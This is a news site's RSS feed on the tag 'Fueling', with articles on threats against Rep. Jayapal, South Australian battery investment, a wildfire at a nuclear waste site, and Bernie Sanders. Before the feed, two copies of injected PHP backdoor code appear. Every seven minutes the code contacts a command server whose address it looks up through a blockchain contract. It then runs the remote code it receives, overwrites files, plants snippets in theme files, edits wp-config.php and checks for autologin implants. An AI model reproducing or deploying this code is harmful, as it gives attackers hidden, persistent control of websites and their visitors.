// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Fueling – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 11 Sep 2022 03:57:40 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Fueling – Brief News https://briefnews.eu 32 32 Rep. Pramila Jayapal says Trump’s rhetoric is fueling the rise in threats to Congress members after an armed man showed up to her home and shouted ‘go back to India, I’m going to kill you’ https://briefnews.eu/rep-pramila-jayapal-says-trumps-rhetoric-is-fueling-the-rise-in-threats-to-congress-members-after-an-armed-man-showed-up-to-her-home-and-shouted-go-back-to-india-im-going-to-kill-you/ https://briefnews.eu/rep-pramila-jayapal-says-trumps-rhetoric-is-fueling-the-rise-in-threats-to-congress-members-after-an-armed-man-showed-up-to-her-home-and-shouted-go-back-to-india-im-going-to-kill-you/#respond Sun, 11 Sep 2022 03:57:40 +0000 https://briefnews.eu/rep-pramila-jayapal-says-trumps-rhetoric-is-fueling-the-rise-in-threats-to-congress-members-after-an-armed-man-showed-up-to-her-home-and-shouted-go-back-to-india-im-going-to-kill-you/ Rep. Pramila Jayapal (D-Wa.) at her home on Tuesday, Aug. 16, 2022, in Seattle, Wash
Rep. Pramila Jayapal (D-Wa.) at her home on Tuesday, Aug. 16, 2022, in Seattle, Wash

Jovelle Tamayo/ forThe Washington Post via Getty Images

  • Rep. Pramila Jayapal says former President Trump's rhetoric encourages violence against Congress members.
  • Jayapal released voicemails on Thursday that included threats to "go back to India."
  • Capitol Police data shows that threats to members of Congress have increased 144% since 2017.

Rep. Pramila Jayapal, who was harassed and threatened outside her home by a man with a gun, says the increase in threats to Congressional members is linked to rhetoric about the 2020 election by former President Donald Trump and other members of the GOP. 

In July, an armed man was arrested and charged with felony stalking after camping outside Jayapal's neighborhood and threatening her. One neighbor told police she heard the man shout: "Go back to India, I'm going to kill you."

Jayapal told MSNBC's Ali Velshi on Saturday that she wanted people to understand the connections between stolen election rhetoric and the increased threats that Congressional members are facing.

"I think that what has changed is there's a sense that everything is so unfair and it's been propelled by Donald Trump," Jayapal said. "'The institutions are unfair,' and that the only recourse is to violence and that is an extremely dangerous thing. And we saw it come to fruition on January 6, and now in ways that you know, I've seen outside my door."

On Thursday, Jayapal released voicemails of threats against her and her family. The person in the recording tells Jayapal she is going to get "exactly what you deserve" and tells her to "go back to India."

"Typically, political figures don't show their vulnerability," Jayapal wrote. "I chose to do so here because we cannot accept violence as our new norm. We also cannot accept the racism and sexism that underlies and propels so much of this violence."

Threats to lawmakers in congress have increased by 144% since 2022, according to Capitol Police data shared with Axios. In the first three months of 2022, nearly 2,000 threats made to Congress members resulted in the Capitol Police opening cases.

Congress members like California Rep. Eric Swalwell and Rep. Adam Kinzinger, who is on the House Committee Investigating Jan. 6, have also released threatening voicemails targeting them and their families. 

In a Washington Post profile released Thursday, Jayapal recounted her experiences dealing with harassing and threatening voicemails. She said she often wanted to hide the threats because she didn't want people to know how they emotionally affected her.

"But at the same time," Jayapal told the Post, "it's important people understand how ubiquitous this is, and how much a part of our psyche it is taking up."

Read the original article on Business Insider

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]]> https://briefnews.eu/rep-pramila-jayapal-says-trumps-rhetoric-is-fueling-the-rise-in-threats-to-congress-members-after-an-armed-man-showed-up-to-her-home-and-shouted-go-back-to-india-im-going-to-kill-you/feed/ 0 South Australia is fueling energy storage investment https://briefnews.eu/south-australia-is-fueling-energy-storage-investment/ https://briefnews.eu/south-australia-is-fueling-energy-storage-investment/#respond Wed, 28 Nov 2018 00:09:02 +0000 http://briefnews.eu/south-australia-is-fueling-energy-storage-investment/
Man assembling Sonnen batteries

Enlarge / An employee working for the manufacturer of solar batteries, Sonnen GmbH, in the Bavarian village of Wildpoldsried in southern Germany is pictured on July 5, 2016. (credit: CHRISTOF STACHE/AFP/Getty Images)

In September, South Australia confirmed a plan to set up an AU$ 100 million (USD $ 72 million) fund to help households purchase home energy storage batteries. Households could receive subsidies of up to AU$ 6,000 (USD $ 4,300) on a purchase of a battery that would store electricity either from a solar-panel system or from the South Australian grid. The electricity could then be used during an emergency or a blackout.

After a year as the home of the world’s largest grid-tied battery (built by Tesla), South Australia is becoming a hub for battery investment.

Other, non-Tesla battery makers are taking note. This week, German battery maker Sonnen started producing batteries at an old GM Holden factory in Elizabeth, South Australia. Sonnen has long experience in the home energy storage market, deploying batteries for German households before Tesla announced its Powerwall. Now, it intends to use its Elizabeth factory to produce batteries not only for South Australians who hope to take advantage of the government’s new subsidies but also to ship home storage batteries to other places in the Asia market, according to PV Magazine.

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]]> https://briefnews.eu/south-australia-is-fueling-energy-storage-investment/feed/ 0 California wildfire rips through nuclear waste site, fueling airborne toxin risk concerns https://briefnews.eu/california-wildfire-rips-through-nuclear-waste-site-fueling-airborne-toxin-risk-concerns/ https://briefnews.eu/california-wildfire-rips-through-nuclear-waste-site-fueling-airborne-toxin-risk-concerns/#respond Wed, 14 Nov 2018 02:33:51 +0000 http://briefnews.eu/california-wildfire-rips-through-nuclear-waste-site-fueling-airborne-toxin-risk-concerns/ The Woolsey fire that engulfed over 90,000 acres in California last weekend may have spread toxic and radioactive substances from a Superfund site, according to activists who believe authorities might be downplaying the risks.

The fire passed through the Santa Susana Field Lab (SSFL), a federal Superfund site in the Simi Hills that was the site of the worst nuclear meltdown in US history in 1959. While the California Department of Toxic Substances Control said there was no reason to be concerned of “any risks other than those normally present in a wildfire situation,” locals aren’t so sure, pointing out that the agency has dragged its feet in cleaning up toxic sites and accusing it of a possible cover-up. 

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© Reuters / Stephen Lam

Physicians for Social Responsibility Los Angeles president Robert Dodge castigated the DTSC, pointing out that the site – now owned by Boeing – remains radioactive and polluted despite the agency’s promise to clean it up eight years ago. “These toxic materials are in SSFL’s soil and vegetation, and when it burns and becomes airborne in smoke and ash, there is real possibility of heightened exposure for area residents.” 

The DTSC reassured residents that the SSFL facilities were not affected by the fire and claimed measurements of radiation and hazardous compounds from both the site and the surrounding communities were within normal levels, posing no danger other than that normally present in the aftermath of a wildfire. Thousands of people live within two miles of the site, which was originally developed to test rocket engines and conduct nuclear research in the 1940s.

NASA, which owns a small piece of the site, echoed the DTSC’s message in a press release, stating that the fire presented no risks beyond those normally associated with wildfires although its property experienced “significant fire damage” across all three “historic districts.” 

Residents’ concerns about authorities possibly downplaying the risks are fueled by the DTSC’s track record of broken promises, combined with the very real history of nuclear meltdown onsite. The California state legislature commissioned an Independent Review Panel to investigate the DTSC and found in 2016 that the agency had placed communities “at risk” by “failing to perform its basic function of protecting the public and environment from industrial hazardous waste and contamination.” The DTSC was held responsible for the Exide scandal in Vernon, in which a battery recycling plant leaked toxins into surrounding communities for decades, and was criticized for its backlog of hazardous waste permits. 

Local parents have blamed contamination at the SSFL site for their children’s cancers, and the Centers for Disease Control designated lab workers from the 1950s who developed cancer as part of a “special exposure cohort” eligible for compensation for their years of laboring in a radioactive environment. While the SSFL was the site of multiple nuclear accidents, the worst took place in 1959 when a reactor vented nuclear material to avoid an explosion, ultimately releasing 459 times more radiation than the infamous Three Mile Island meltdown 20 years later.

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]]> https://briefnews.eu/california-wildfire-rips-through-nuclear-waste-site-fueling-airborne-toxin-risk-concerns/feed/ 0 The Illusion Fueling the Post-Midterms Conservative News Machine https://briefnews.eu/the-illusion-fueling-the-post-midterms-conservative-news-machine/ https://briefnews.eu/the-illusion-fueling-the-post-midterms-conservative-news-machine/#respond Fri, 09 Nov 2018 11:50:54 +0000 http://briefnews.eu/the-illusion-fueling-the-post-midterms-conservative-news-machine/ It’s all about perception.


https://media.wired.com/photos/5be36b5ce366b1514a0483a6/master/pass/FoxNews-1052386032.jpg

]]> https://briefnews.eu/the-illusion-fueling-the-post-midterms-conservative-news-machine/feed/ 0 Bernie Sanders won the Democratic nomination in Vermont’s Senate primary, but he turned it down, fueling speculation he may run for president in 2020 https://briefnews.eu/bernie-sanders-won-the-democratic-nomination-in-vermonts-senate-primary-but-he-turned-it-down-fueling-speculation-he-may-run-for-president-in-2020/ https://briefnews.eu/bernie-sanders-won-the-democratic-nomination-in-vermonts-senate-primary-but-he-turned-it-down-fueling-speculation-he-may-run-for-president-in-2020/#respond Wed, 15 Aug 2018 01:15:31 +0000 http://briefnews.eu/bernie-sanders-won-the-democratic-nomination-in-vermonts-senate-primary-but-he-turned-it-down-fueling-speculation-he-may-run-for-president-in-2020/ Bernie SandersScott Eisen/Getty Images

  • Bernie Sanders won Vermont’s Democratic Senate primary but is expected to turn down the nomination, as he did in his previous campaigns. 
  • Sanders is thought to be considering a presidential run in 2020 and already is on Vermont’s November ballot as an independent.
  • Under Vermont law he cannot appear on the November ballot as both a Democrat and an independent.

MONTPELIER, Vt. (AP) — Independent U.S. Sen. Bernie Sanders won Vermont’s Democratic Senate primary on Tuesday but was expected to turn down the nomination, as he did in his previous campaigns, and support other Democratic candidates.

In Tuesday’s Democratic balloting, Sanders defeated little-known candidate Folasade Adeluola, who said she believes Vermont needs a full-time senator.

See the rest of the story at Business Insider

